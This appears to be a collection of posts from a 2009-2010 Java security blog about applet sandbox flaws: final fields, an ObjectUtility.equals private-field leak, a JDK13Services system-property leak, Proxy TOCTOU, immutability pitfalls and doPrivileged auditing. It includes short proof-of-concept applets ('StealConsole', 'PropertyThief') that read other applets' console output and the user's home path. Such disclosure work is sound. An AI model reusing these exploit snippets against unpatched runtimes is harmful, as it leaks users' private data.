To kickstart the new year and in an attempt to get more writing done I think I'll try writing some shorter bits. This one's about the Java "final" keyword - it's different nuances and how they relate to security.
Final has meanings that are so distinct that I sometimes wonder if it wouldn't have been clearer to use several different keywords. Here are the meanings of the keyword final:
Final classes
Classes with the modifier final cannot be subclassed. If the instances of the class have a state, that state can change, static fields, etc, everything may be mutable. The final here only prohibits subclassing.
Final methods
Methods with the modifier final cannot be overwritten/overridden by subclasses. The methods can be used by subclasses, their output may differ from call to call, they just cannot be redefined in the subclasses. The method may be overloaded, because overloaded methods (methods with the same name, but different signature) are completely different methods in the eyes of the compiler and the runtime.
Final fields
The value for fields with the modifier final can only be set once.
In the case of primitive type fields, this means that if the value was set to (int) 91, then the value will remain 91. The compiler may take advantage of this knowledge and inline the value where it is being referred.
In the case of objects, if the field is set to reference an object, it will always reference that same object. If the object is mutable, the perceived and logical value of the object may change, only it's identity is guaranteed not to change.
Final method variables
Since method variables aren't accessible outside the method, the final keyword here is only for use of the compiler.
Security and final
Here's how these nuances of the final keyword relate to security:
Classes
Final classes are very restrictive; since you can't subclass them you can't make them Serializable and you can't override their functionality. As far as I can tell, there is no way around it either, the rule is absolute: if it's final, you can't override it.
Methods
Final methods, like the classes are very restrictive. At the most, you may be able to override another method that the final method calls and use that to alter the method's functioning.
Fields
Final fields are not such an obvious case; while you cannot redefine their value there are some interesting details about them.
Their value isn't always the same. If you can obtain access to an object before it's initializer has defined the value of the final field, the field will have it's uninitialized value which will be 0, false or null for numeric types, boolean types and object types respectively. Then once the initializer sets the value it will change to the defined value. That's a very minor detail, but security is all about knowing all the right minor details.
As stated, the field will always reference the same object, but the real value of that object is free to change. If the object contains fields, etc that can be accessed and whose value can be altered then the value of the object itself can be changed.
Arrays are a special type of mutable objects -- the array elements of a final array field can change. The array object itself will stay the same, and it's size or number of dimensions cannot change, but the element values are very much mutable.
A multidimensional array object is actually an array of objects with one less dimensions. Thus in the case of a final multidimensional array object, only the outermost array is really final; the inner arrays may change identity and size.
sun.misc.Unsafe
The reflection API is bound by the final keyword and if you try changing the value of a final field via reflection, you will run into an IllegalAccessException.
There is, however, one omnipotent class in the sun.misc package, called Unsafe, which directly write into memory, put int values into object fields and it is also able to rewrite values into final fields. You use the fieldOffset methods to determine the offset of a given field, and then you use one of the putXXX methods to set the value. Unsafe can also access private fields.
Showing posts with label security. Show all posts
Showing posts with label security. Show all posts
Saturday, January 23, 2010
Tuesday, October 13, 2009
com.sun.corba.se.impl.orbutil.ObjectUtility
Back to security.
Sun's strategy of prioritizing backwards compatibility is something I always appreciated as a developer. Less headaches. Yet, from a security perspective the ensuing "bloatedness" is rather challenging: The attack surface keeps on growing all the time.
So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries.
On the other hand, it's the problems you find in the public java.util, java.io, etc classes that make you really appreciate how very difficult it is to build something secure.
But let's look at one of the aforementioned, obscure CORBA classes today :)
com.sun.corba.se.impl.orbutil.ObjectUtility
It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way. Of course it could be just my lack of ingenuity.
ObjectUtility has two basic functionalities:
-Offer toString functionality to classes that don't implement toString. It recursively lists all the instance field names and their values using reflection and formats the output neatly. I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents. When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields (less useful).
-Offer equals functionality to classes that don't implement an equals method. It recursively compares all the instance fields of two objects following somewhat complicated rules.
Let's look at the equals functionality a little bit closer. The logic goes something like this: You give it two objects and it returns true or false depending on perceived equality, with the following details.
-in the case of object fields, recursion is used to compare the two values
-static fields are ignored
-Maps, Sets, Lists and arrays have special handling, where the Collection/array contents are compared individually
-objects x and y of the exact same class (ie. x.getClass() == y.getClass() ) are compared by comparing all the non-static fields individually
-doPrivileged is used to allow access to private fields even with a security manager enabled
-objects x and y of different classes (for example, Object instance and a String instance) are compared by calling equals of the first object, ie. x.equals(y)
Pause for a moment. Absorb the logic. Do you see a problem?
...
This implementation leaks private information. If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object.
Here's a semi-concrete example. Let's preface it a bit: If you've ever written a Java applet, you'll have noticed that when you use System.out to print some debug information, the output goes to the Java console. How does this happen? The type of System.out is PrintStream. The applet environment sets the System.out as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console.
PrintStream has no method for accessing the inherited (from superclass FilterOutputStream) "out" field, but we can create a new PrintStream and put our own OutputStream inside it. Then compare our PrintStream to System.out. Like this:
So we can get our hands on the TracePrintStream object contained within the PrintStream. I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet. So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing. I guess this turned out to be a rather theoretical example anyway.
Other examples that I've tried this on with success: The Collections class has utility methods which return immutable versions of Lists, Maps and Sets. The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions. But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it. However I couldn't find anything in the core Java where the security depended on the immutability of these collections.
Sun's strategy of prioritizing backwards compatibility is something I always appreciated as a developer. Less headaches. Yet, from a security perspective the ensuing "bloatedness" is rather challenging: The attack surface keeps on growing all the time.
So it's not all that surprising to find an applet security problem in an obscure CORBA class buried in the dark depths of the standard libraries.
On the other hand, it's the problems you find in the public java.util, java.io, etc classes that make you really appreciate how very difficult it is to build something secure.
But let's look at one of the aforementioned, obscure CORBA classes today :)
com.sun.corba.se.impl.orbutil.ObjectUtility
It has a problem I found rather interesting, but as far as I could tell, at least in the applet world, it is not exploitable in any serious way. Of course it could be just my lack of ingenuity.
ObjectUtility has two basic functionalities:
-Offer toString functionality to classes that don't implement toString. It recursively lists all the instance field names and their values using reflection and formats the output neatly. I actually use it sometimes as a quick-and-dirty debug to vomiting out object contents. When there is no security manager present it lists all the fields, but with a security manager present it sticks to the public fields (less useful).
-Offer equals functionality to classes that don't implement an equals method. It recursively compares all the instance fields of two objects following somewhat complicated rules.
Let's look at the equals functionality a little bit closer. The logic goes something like this: You give it two objects and it returns true or false depending on perceived equality, with the following details.
-in the case of object fields, recursion is used to compare the two values
-static fields are ignored
-Maps, Sets, Lists and arrays have special handling, where the Collection/array contents are compared individually
-objects x and y of the exact same class (ie. x.getClass() == y.getClass() ) are compared by comparing all the non-static fields individually
-doPrivileged is used to allow access to private fields even with a security manager enabled
-objects x and y of different classes (for example, Object instance and a String instance) are compared by calling equals of the first object, ie. x.equals(y)
Pause for a moment. Absorb the logic. Do you see a problem?
...
This implementation leaks private information. If you compare a malicious object to a sensitive object, in specific cases you can extract references to objects stored in private fields of said sensitive object.
Here's a semi-concrete example. Let's preface it a bit: If you've ever written a Java applet, you'll have noticed that when you use System.out to print some debug information, the output goes to the Java console. How does this happen? The type of System.out is PrintStream. The applet environment sets the System.out as a PrintStream instance which contains contains a Java plugin class TracePrintStream instance, which takes everything written to it and forwards it to be printed in the console.
PrintStream has no method for accessing the inherited (from superclass FilterOutputStream) "out" field, but we can create a new PrintStream and put our own OutputStream inside it. Then compare our PrintStream to System.out. Like this:
001
002
003 import java.applet.Applet;
004 import java.io.IOException;
005 import java.io.OutputStream;
006 import java.io.PrintStream;
007
008 import com.sun.corba.se.impl.orbutil.ObjectUtility;
009
010 public class StealConsole extends Applet {
011
012 public void start() {
013 PrintStream syso = System.out;
014 PrintStream stealer = new PrintStream(new OutputStream() {
015
016 public void write(int b) throws IOException {
017 }
018
019
020 public boolean equals(Object obj) {
021 System.out.println("Stole: " + obj.getClass());
022 return super.equals(obj);
023 }
024 }, false);
025
026 boolean eq = ObjectUtility.equals(stealer, syso);
027 }
028
029 }
So we can get our hands on the TracePrintStream object contained within the PrintStream. I did a quick PoC using this and a thread which kept polling the buffer of the TracePrintStream and on my other laptop with two processors it worked pretty good, it was an incredible CPU hog, but it intercepted everything written to the console by any applet. So if you'd happen to be running a sensitive applet at the same time in the same browser that printed sensitive data in the console it'd be a bad thing. I guess this turned out to be a rather theoretical example anyway.
Other examples that I've tried this on with success: The Collections class has utility methods which return immutable versions of Lists, Maps and Sets. The way they work is that they keep a copy of the original list hidden away in a private field and the getter methods operate on this list and the setter methods throw exceptions. But comparing these immutable collections to malicious collections it is possible to access the collection contained within and modify it. However I couldn't find anything in the core Java where the security depended on the immutability of these collections.
Wednesday, August 05, 2009
java.net.Proxy and (Im)mutability
Java 6 update 15 fixed some stuff regarding to java.net.Proxy
Quoting:
I'm assuming Sun is referring to something I'd come across a couple months ago myself. I was looking into some things at java.net and came across the Proxy class. The Proxy class javadoc says
Yet the class is public and non-final. It's methods are non-final, too. If you don't see the problem, go a few posts back to the bit that talks about immutability.
Didn't look at the fix yet, but Proxy was very much mutable and so it was possible to create a Proxy object which uses TOCTOU to connect to a host other than the originating host. The proxy has a method which returns the address and a mutable Proxy can be made to return the originating host to the security check and some other address for the actual connection.
I'd done an ultraquick PoC, but hadn't gotten around to warning Sun (not that they needed my help from the look of it), because I was working on some more interesting things.
Quoting:
A security vulnerability in the Java Runtime Environment proxy mechanism implementation may allow an untrusted applet or Java Web Start application to make non-authorized socket or URL connections to hosts other than the origin host.
I'm assuming Sun is referring to something I'd come across a couple months ago myself. I was looking into some things at java.net and came across the Proxy class. The Proxy class javadoc says
A Proxy is an immutable object.
Yet the class is public and non-final. It's methods are non-final, too. If you don't see the problem, go a few posts back to the bit that talks about immutability.
Didn't look at the fix yet, but Proxy was very much mutable and so it was possible to create a Proxy object which uses TOCTOU to connect to a host other than the originating host. The proxy has a method which returns the address and a mutable Proxy can be made to return the originating host to the security check and some other address for the actual connection.
I'd done an ultraquick PoC, but hadn't gotten around to warning Sun (not that they needed my help from the look of it), because I was working on some more interesting things.
Tuesday, August 04, 2009
No Anniversary for JDK13Services
Java 6 update 15 fixes the simplest Java security bug I've found so far. And just before its anniversary (August 18th), so no cake.
It's also the least serious of the bugs so I'm not terribly upset that it took close to a year to fix.
com.sun.media.sound.JDK13Services has a public, static method called getDefaultProviderClass which takes a Class object as a parameter and it returns the system property which corresponds with the full class name. The problem is (was) that you can create your own classes whose names coincide with security sensitive property names, such as user.home, user.name, etc.
The implication is one of privacy.
An example of reading the user.home property and outputting it to System.out in an applet.
This'll only work in a pre-update-15 Java. From the quick look into the new rt.jar bytecode, it looks like they're doing a bunch of if's now to limit the properties you can request.
It's also the least serious of the bugs so I'm not terribly upset that it took close to a year to fix.
com.sun.media.sound.JDK13Services has a public, static method called getDefaultProviderClass which takes a Class object as a parameter and it returns the system property which corresponds with the full class name. The problem is (was) that you can create your own classes whose names coincide with security sensitive property names, such as user.home, user.name, etc.
The implication is one of privacy.
An example of reading the user.home property and outputting it to System.out in an applet.
001 package user;
002
003 public class PropertyThief extends java.applet.Applet {
004
005 public void start() {
006 String usrHome = com.sun.media.sound.JDK13Services.getDefaultProviderClassName(user.home.class);
007 System.out.println(usrHome);
008 }
009 }
010
011 class home {}
This'll only work in a pre-update-15 Java. From the quick look into the new rt.jar bytecode, it looks like they're doing a bunch of if's now to limit the properties you can request.
Thursday, July 30, 2009
Java SE Security - Part II (Immutability)
Since I named the first bit as "Part I" in February, I'm long overdue for the second part. The problem is that my hands are tied by the fact that Sun still hasn't fixed a lot of the things I wanted to write about, so I'm short on material.
Immutability (@wikipedia)
Aside from being a software design pattern, immutability plays a big role in security, as well. At least in an environment such as the Java security sandbox. The Sun Secure Coding Guidelines section about input and ouput talks about making immutable copies of inputs and outputs.
Even if you've never put serious thought into this, the importance of immutability quickly becomes obvious.
Steve: Let's say my method takes a (java.util) List of Strings as a parameter, performs some security validation on the list and then performs some privileged action on the list.
Bob: The problem is that java.util.List is in interface and can be implemented in a mutable way. Also virtually all the public List implementations included in Java are mutable, so one wouldn't even have to go through the trouble of creating a mutable version - one could just use java.util.ArrayList.
The problem with the mutability is that an ill intentioned caller of the method could pass a list which contains different values while the method does its validation, and then another set of harmful values for the actual processing after the validation has passed. This could be done via timing, or by crafting one's own List implementation for a more exact attack. If the method uses .iterator() to iterate through the list, the first call to .iterator() (used by validation) could be made to return one set of Strings and the 2nd call to .iterator() (used by the post-validation processing) could be made to return another set of Strings.
It's a well known, generic problem.
Let's look at some ways to protect your method and what could go wrong with them. Forgive the silliness of some of these examples, it's just to give the notion of how easy it is to get it wrong.
Steve: I could change the method signature to only accept a more specialized StevesImmutableList.
Steve: I'd then define StevesImmutableList as a class whose constructor receives a String array and stores it in a private String array field and only has a getter method which returns the array.
Bob: Arrays are always mutable. The size can't be changed, but the contents (given its size is greater than zero) are free game. And your method is returning a reference to its internal array.
Steve: What if I define my private internal array as final?
Bob: That doesn't help. It'll guarantee that your private field always points to the same array, but the array contents are free game.
Steve: Better have the method call .clone() on the array and return a copy of the array instead of the internal array.
Bob: Your constructor is receiving an array and storing it as the internal array. A caller with bad intentions could create an array, keep a reference to it, pass it to your object and later on modify it.
Steve: Ok, let's call .clone() on the incoming array as well.
Steve: Let's also add an overloaded constructor that receives a List to improve the usability of this class.
Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.
Steve: Ok, let's do a manual conversion of the List to an array.
Steve: It'd also be nice to be able to serialize this object for passing between JVMs and/or storing object state somewhere. So let's make the class implement Serializable.
Bob: Serial data can be constructed in such a way that when read, will contain a String array, followed by a StevesImmutableList containing the same String array in the private field, thus making the object mutable.
Steve: Let's make the private field transient and create a readObject method which reads the array from the stream and then clones it before assigning it to the field. Also create a compatible writeObject method.
Now some examples from core Java classes
java.lang.reflection.Proxy
Proxy has a method (getProxyClass) which takes a ClassLoader and an array of Class objects, that are supposed to be interfaces, as parameters. It performs some validation on the Class array, and then it dynamically defines and returns a new Class for a dynamic Proxy class which implements all the interfaces of the Class array. If the validation fails, the method throws an Exception (and obviously doesn't return anything).
The getProxyClass uses the user-suplied Class array for the validation and later on for the construction of the Proxy class, so it could be called with an array which has one set of classes for the validation and another set of classes for the Proxy construction.
However, the validation here, as far as I can tell, is strictly for usability. Without the validation, if you gave the method an invalid set of parameters it would sometimes fail with some strange class verification exception. With the validation, the caller gets feedback which is more readily understandable.
java.lang.String
Strings are supposed to be immutable. A lot of things depend on the immutability of Strings. There is no defensive programming in the core classes against mutable Strings (which makes sense, because it'd take a lot of work).
The immutability of Strings hinges on the fact that one cannot access the char array in which the String contents are stored. Now, String does leak the internal array to any registered CharSet who wants it. However, registering a CharSet requires a CharSetProvider and that, in turn, requires the charsetProvider permission.
Unsigned applets don't have that permission and can't create their own registered CharSets. But it is something to keep in mind. If you're granting the charsetProvider permission, you're pretty much implicitly giving away full access.
Immutability (@wikipedia)
Aside from being a software design pattern, immutability plays a big role in security, as well. At least in an environment such as the Java security sandbox. The Sun Secure Coding Guidelines section about input and ouput talks about making immutable copies of inputs and outputs.
Even if you've never put serious thought into this, the importance of immutability quickly becomes obvious.
Steve: Let's say my method takes a (java.util) List of Strings as a parameter, performs some security validation on the list and then performs some privileged action on the list.
001 public class PrivilegedClass {
002
003 public void processStrings(java.util.List<String> strings) {
004 for (String str : strings) {
005 if (!isOk(str)) {
006 throw new SecurityException();
007 }
008 }
009
010 for (String str : strings) {
011 doPrivilegedOperation(str);
012 }
013 }
014
015 private void doPrivilegedOperation(String str) {
016 // privileged stuff
017 // code omitted
018 }
019
020 private boolean isOk(String str) {
021 // security check for string
022 // code omitted
023 return false;
024 }
025
026 }
Bob: The problem is that java.util.List is in interface and can be implemented in a mutable way. Also virtually all the public List implementations included in Java are mutable, so one wouldn't even have to go through the trouble of creating a mutable version - one could just use java.util.ArrayList.
The problem with the mutability is that an ill intentioned caller of the method could pass a list which contains different values while the method does its validation, and then another set of harmful values for the actual processing after the validation has passed. This could be done via timing, or by crafting one's own List implementation for a more exact attack. If the method uses .iterator() to iterate through the list, the first call to .iterator() (used by validation) could be made to return one set of Strings and the 2nd call to .iterator() (used by the post-validation processing) could be made to return another set of Strings.
It's a well known, generic problem.
Let's look at some ways to protect your method and what could go wrong with them. Forgive the silliness of some of these examples, it's just to give the notion of how easy it is to get it wrong.
Steve: I could change the method signature to only accept a more specialized StevesImmutableList.
003 public void processStrings(StevesImmutableList strings) {
Steve: I'd then define StevesImmutableList as a class whose constructor receives a String array and stores it in a private String array field and only has a getter method which returns the array.
001 package version1;
002
003 public class StevesImmutableList {
004
005 private String[] strings;
006
007 public StevesImmutableList(String[] strings) {
008 this.strings = strings;
009 }
010
011 public String[] getStrings() {
012 return this.strings;
013 }
014
015 }
Bob: Arrays are always mutable. The size can't be changed, but the contents (given its size is greater than zero) are free game. And your method is returning a reference to its internal array.
Steve: What if I define my private internal array as final?
Bob: That doesn't help. It'll guarantee that your private field always points to the same array, but the array contents are free game.
Steve: Better have the method call .clone() on the array and return a copy of the array instead of the internal array.
001 package version2;
002
003 public class StevesImmutableList {
004
005 private String[] strings;
006
007 public StevesImmutableList(String[] strings) {
008 this.strings = strings;
009 }
010
011 public String[] getStrings() {
012 return this.strings.clone();
013 }
014
015 }
Bob: Your constructor is receiving an array and storing it as the internal array. A caller with bad intentions could create an array, keep a reference to it, pass it to your object and later on modify it.
Steve: Ok, let's call .clone() on the incoming array as well.
001 package version3;
002
003 public class StevesImmutableList {
004
005 private String[] strings;
006
007 public StevesImmutableList(String[] strings) {
008 this.strings = strings.clone();
009 }
010
011 public String[] getStrings() {
012 return this.strings.clone();
013 }
014
015 }
Steve: Let's also add an overloaded constructor that receives a List to improve the usability of this class.
001 package version4;
002
003 public class StevesImmutableList {
004
005 private String[] strings;
006
007 public StevesImmutableList(java.util.List<String> stringList) {
008 this.strings = stringList.toArray(new String[stringList.size()]);
009 }
010
011 public StevesImmutableList(String[] strings) {
012 this.strings = strings.clone();
013 }
014
015 public String[] getStrings() {
016 return this.strings.clone();
017 }
018
019 }
Bob: Now you're calling toArray() on a List object that you can't really trust. It could return an array and keep a reference to that array for itself for future modification.
Steve: Ok, let's do a manual conversion of the List to an array.
001 package version5;
002
003 public class StevesImmutableList {
004
005 private String[] strings;
006
007 public StevesImmutableList(java.util.List<String> stringList) {
008 this.strings = new String[stringList.size()];
009 for (int i = 0; i < stringList.size(); i++) {
010 this.strings[i] = stringList.get(i);
011 }
012 }
013
014 public StevesImmutableList(String[] strings) {
015 this.strings = strings.clone();
016 }
017
018 public String[] getStrings() {
019 return this.strings.clone();
020 }
021
022 }
Steve: It'd also be nice to be able to serialize this object for passing between JVMs and/or storing object state somewhere. So let's make the class implement Serializable.
001 package version6;
002
003 public final class StevesImmutableList implements java.io.Serializable {
004
005 private String[] strings;
006
007 public StevesImmutableList(java.util.List<String> stringList) {
008 this.strings = new String[stringList.size()];
009 for (int i = 0; i < stringList.size(); i++) {
010 this.strings[i] = stringList.get(i);
011 }
012 }
013
014 public StevesImmutableList(String[] strings) {
015 this.strings = strings.clone();
016 }
017
018 public String[] getStrings() {
019 return this.strings.clone();
020 }
021
022 }
Bob: Serial data can be constructed in such a way that when read, will contain a String array, followed by a StevesImmutableList containing the same String array in the private field, thus making the object mutable.
Steve: Let's make the private field transient and create a readObject method which reads the array from the stream and then clones it before assigning it to the field. Also create a compatible writeObject method.
001 package version7;
002
003 public final class StevesImmutableList implements java.io.Serializable {
004
005 private transient String[] strings;
006
007 public StevesImmutableList(java.util.List<String> stringList) {
008 this.strings = new String[stringList.size()];
009 for (int i = 0; i < stringList.size(); i++) {
010 this.strings[i] = stringList.get(i);
011 }
012 }
013
014 public StevesImmutableList(String[] strings) {
015 this.strings = strings.clone();
016 }
017
018 public String[] getStrings() {
019 return this.strings.clone();
020 }
021
022 private void readObject(java.io.ObjectInputStream s)
023 throws java.io.IOException, ClassNotFoundException {
024 String[] streamStrings = (String[]) s.readObject();
025 this.strings = streamStrings.clone();
026 }
027
028 private void writeObject(java.io.ObjectOutputStream s)
029 throws java.io.IOException {
030 s.writeObject(this.strings);
031 }
032 }
Now some examples from core Java classes
java.lang.reflection.Proxy
Proxy has a method (getProxyClass) which takes a ClassLoader and an array of Class objects, that are supposed to be interfaces, as parameters. It performs some validation on the Class array, and then it dynamically defines and returns a new Class for a dynamic Proxy class which implements all the interfaces of the Class array. If the validation fails, the method throws an Exception (and obviously doesn't return anything).
The getProxyClass uses the user-suplied Class array for the validation and later on for the construction of the Proxy class, so it could be called with an array which has one set of classes for the validation and another set of classes for the Proxy construction.
However, the validation here, as far as I can tell, is strictly for usability. Without the validation, if you gave the method an invalid set of parameters it would sometimes fail with some strange class verification exception. With the validation, the caller gets feedback which is more readily understandable.
java.lang.String
Strings are supposed to be immutable. A lot of things depend on the immutability of Strings. There is no defensive programming in the core classes against mutable Strings (which makes sense, because it'd take a lot of work).
The immutability of Strings hinges on the fact that one cannot access the char array in which the String contents are stored. Now, String does leak the internal array to any registered CharSet who wants it. However, registering a CharSet requires a CharSetProvider and that, in turn, requires the charsetProvider permission.
Unsigned applets don't have that permission and can't create their own registered CharSets. But it is something to keep in mind. If you're granting the charsetProvider permission, you're pretty much implicitly giving away full access.
Monday, July 27, 2009
Java security bugs revisited
A couple of weeks back, I heard that Sun's probably releasing new updates at the end of July, so it might be a good time to update my bug fix table.
Let's see if they've gotten around to look at some of these issues, as well. I'm obviously very biased here and think all vulnerabilities I've found are important and should be very promptly fixed, but the anniversaries of some these bugs are already around the corner.
Let's see if they've gotten around to look at some of these issues, as well. I'm obviously very biased here and think all vulnerabilities I've found are important and should be very promptly fixed, but the anniversaries of some these bugs are already around the corner.
| Reported | Status | Fixed | Days Open | |
|---|---|---|---|---|
| FileSystemView allows read access to file system structure | May 11th, 2008 | Fixed | Dec 2nd, 2008 | 204 |
| Read access to System Properties | Aug 18th, 2008 | Not Fixed | N/A | 342* |
| Calendar.readObject allows elevation of privileges | Aug 1st, 2008 | Fixed | Dec 2nd, 2008** | 122 |
| Undisclosed vectors allow elevation of privileges | Oct 19th, 2008 | Not Fixed | N/A | 280* |
| Undisclosed vectors allow directory listing and file renaming/moving | Oct 26th, 2008 | Not Fixed | N/A | 273* |
| Generic security architecture problem | Nov 2nd, 2008 | Not Fixed | N/A | 266* |
| Undisclosed vectors allow folder creation | Oct 20th 2008 | Not Fixed | N/A | 279* |
Sunday, April 12, 2009
Timeline of Sun Microsystems fixing Java security bugs
| Reported | Status | Fixed | Days Open | |
|---|---|---|---|---|
| FileSystemView allows read access to file system structure | May 11th, 2008 | Fixed | Dec 2nd, 2008 | 204 |
| Read access to System Properties | Aug 18th, 2008 | Not Fixed | N/A | 251* |
| Calendar.readObject allows elevation of privileges | Aug 1st, 2008 | Fixed | Dec 2nd, 2008** | 122 |
| Undisclosed vectors allow elevation of privileges | Oct 19th, 2008 | Not Fixed | N/A | 189* |
| Undisclosed vectors allow directory listing and file renaming/moving | Oct 26th, 2008 | Not Fixed | N/A | 182* |
| Generic security architecture problem | Nov 2nd, 2008 | Not Fixed | N/A | 175* |
| Undisclosed vectors allow folder creation | Oct 20th 2008 | Not Fixed | N/A | 188* |
Wednesday, February 25, 2009
Java SE Security - Part I
I'm starting a section here outlining a few basic ways for analyzing Java SE security in a pure Java sense. That is: Java code which might escape from the security sandbox, most commonly set up for Java applets.
This first part will deal with the method AccessController.doPrivileged().
What does it do?
It is used to execute a piece of code in a privileged context. The different variations of the method take a PrivilegedAction, or PrivilegedExceptionAction instance as a parameter and execute the run method of that action.
Why do we need that?
All the code that comes from the jre/lib (rt.jar, etc) is already privileged. Even when executed in the context of an applet that code has the privileges to read/write files, open network connections, execute processes and so on.. as long as there is no untrusted code on the calling stack.
Wait, what? What does that mean?
All the code in the JRE that does stuff that is considered privileged is armed with a call to the SecurityManager to ask if the caller has sufficient privileges to call it. As an example, let's look at File.delete():
The SecurityManager checks every class that is on the calling stack (the method that called the method that called the method...) and makes sure every single of these classes is allowed to delete that file. So, if you try that from an applet's start method, that method will be on the calling stack and since your applet is not allowed to delete files, the SecurityManager will throw an exception.
So how does doPrivileged come into play?
There are some operations that have to be allowed, even though there is some untrusted code on the calling stack. A simple example is that many JRE methods require access to system properties that control their functionality. So the code that reads the system property is wrapped in a doPrivileged call and even if the method was executed from an applet, the operation is allowed.
This is actually intelligent. The potentially dangerous code which could introduce security vulnerabilities is wrapped up in and tagged by the doPrivileged blocks. This makes it pretty straightforward to audit them.
How does one find the doPrivileged blocks?
My preferred tool of the trade is Eclipse (http://www.eclipse.org/). To be effective, one needs the source code. The JDK normally comes with a src.zip, containing the source code of the public API classes and some other classes. However, to get some sources one needs to dig deeper.
Eclipse has a nice piece of functionality called "Call Hierarchy", which searches all the places where a given method is called, allowing you to dig deeper, viewing the callers' callers, and so on. So you could open the AccessController class, select the doPrivileged method and view it's call hierarchy.
How does one tell what's secure and what isn't?
Most of the doPrivileged blocks are small, precise, don't trust any input and do exactly one determined thing. However, this isn't always the case.
For example, public class sun.util.calendar.ZoneInfoFile has a private static method readZoneInfo file, which takes a filename String as a parameter and returns the file contents as a byte array. The file contents are read in a doPrivileged block.
Something like this:
Things to consider:
But:
So this path actually allows calling the doPrivileged block, passing any filename for it to read. However due to the long path, the return is no longer a byte array and there are a lot of validations along the way. In any case this illustrates the process of analyzing a piece of code.
This first part will deal with the method AccessController.doPrivileged().
What does it do?
It is used to execute a piece of code in a privileged context. The different variations of the method take a PrivilegedAction, or PrivilegedExceptionAction instance as a parameter and execute the run method of that action.
Why do we need that?
All the code that comes from the jre/lib (rt.jar, etc) is already privileged. Even when executed in the context of an applet that code has the privileges to read/write files, open network connections, execute processes and so on.. as long as there is no untrusted code on the calling stack.
Wait, what? What does that mean?
All the code in the JRE that does stuff that is considered privileged is armed with a call to the SecurityManager to ask if the caller has sufficient privileges to call it. As an example, let's look at File.delete():
public boolean delete() {So the first thing the method does is that it tries to obtain the currently installed SecurityManager and checks if it isn't null. Null in this case means there is no SecurityManager installed and everything is pretty much allowed. In the case of an applet, there will always be a SecurityManager, and next the code asks the SecurityManager if deleting at the given path is allowed. If the SecurityManager objects, it will throw a security exception. If no exception is thrown, the file actually gets deleted.
SecurityManager security = System.getSecurityManager();
if (security != null) {
security.checkDelete(path);
}
return fs.delete(this);
}
The SecurityManager checks every class that is on the calling stack (the method that called the method that called the method...) and makes sure every single of these classes is allowed to delete that file. So, if you try that from an applet's start method, that method will be on the calling stack and since your applet is not allowed to delete files, the SecurityManager will throw an exception.
So how does doPrivileged come into play?
There are some operations that have to be allowed, even though there is some untrusted code on the calling stack. A simple example is that many JRE methods require access to system properties that control their functionality. So the code that reads the system property is wrapped in a doPrivileged call and even if the method was executed from an applet, the operation is allowed.
This is actually intelligent. The potentially dangerous code which could introduce security vulnerabilities is wrapped up in and tagged by the doPrivileged blocks. This makes it pretty straightforward to audit them.
How does one find the doPrivileged blocks?
My preferred tool of the trade is Eclipse (http://www.eclipse.org/). To be effective, one needs the source code. The JDK normally comes with a src.zip, containing the source code of the public API classes and some other classes. However, to get some sources one needs to dig deeper.
Eclipse has a nice piece of functionality called "Call Hierarchy", which searches all the places where a given method is called, allowing you to dig deeper, viewing the callers' callers, and so on. So you could open the AccessController class, select the doPrivileged method and view it's call hierarchy.
How does one tell what's secure and what isn't?
Most of the doPrivileged blocks are small, precise, don't trust any input and do exactly one determined thing. However, this isn't always the case.
For example, public class sun.util.calendar.ZoneInfoFile has a private static method readZoneInfo file, which takes a filename String as a parameter and returns the file contents as a byte array. The file contents are read in a doPrivileged block.
Something like this:
package sun.util.calendar;
...
public class ZoneInfoFile {
...
private static byte[] readZoneInfoFile(String fileName) {
...
buffer = (byte[]) AccessController.doPrivileged(new PrivilegedExceptionAction() {
...
}
...
}
Things to consider:
- It's a public class and therefore accessible outside it's package for all
- It's not a serializable class
- It's a non-final class, and it has an accessible constructor, so it could be subclassed.
- It's in a sun. package and therefore cannot be accessed from an applet
- The method is private and therefore cannot be invoked from another class
But:
- The method is called from another private static method createZoneInfo of the same class
- createZoneInfo is called from a public static method getZoneInfo (still inaccessible because of the package)
- getZoneInfo is called from a public static method getTimeZone of the same class
- getTimeZone is called from a private static method getTimeZone of the public class TimeZone (which resides in the accessible package java.util)
- getTimeZone is called from a public static method getTimeZone of the public, accessible class java.util.TimeZone
So this path actually allows calling the doPrivileged block, passing any filename for it to read. However due to the long path, the return is no longer a byte array and there are a lot of validations along the way. In any case this illustrates the process of analyzing a piece of code.
Monday, February 23, 2009
Correction on how Sun fixed the Calendar bug
Many thanks to Julien Tinnes for pointing this out to me.
In a previous post, I had said:
In a previous post, I had said:
What they did fix, and on this I fully agree is that now when a serializable subclass of a non-serializable class is deserialized, a generated sun.reflect.GeneratedSerializationConstructorAccessorxxx instance is put on the call stack before calling the superclass constructor, thus making it lose the privileged context in the case where the subclass itself isn't privileged.Which is obviously silly and not true at all. When I was looking at how Sun had fixed the problem I had obtained an incorrect source for the new Calendar class and that threw me off the track. The GeneratedSerializationConstructorAccessorxxx was always on the stack, it's the means of invoking the superclass constructor. What changed is that the calling context is not so privileged anymore in the case of the Calendar.readObject(). A special AccessControlContext is created with just enough special rights to access the package sun.util.calendar, which normally isn't accessible to applet code. But if your serialized class tries to do something more (like instantiating a ClassLoader) a security exception is thrown.
Sunday, February 22, 2009
FileSystemView allows read access to the filesystem structure from an unsigned applet
(12/05/2008: Post deferred to give Sun time to fix the bug).
The bug was fixed in Java 6 update 11, released in the beginning of December 2008. Sun credited Henri Torgemane and yours truly, but I don't know Mr. Torgemane. I imagine we both reported the problem on different occasions around the same time.
Anyway, here's the original post:
I was looking at the Java applet security and file system access and seems like there's a problem in Java 6 update 6.
The class javax.swing.filechooser.FileSystemView allows listing of folder contents (to be very clear, by folder contents I mean the names of the files contained in that folder), starting from any ShellFolder (File subclass) instance.
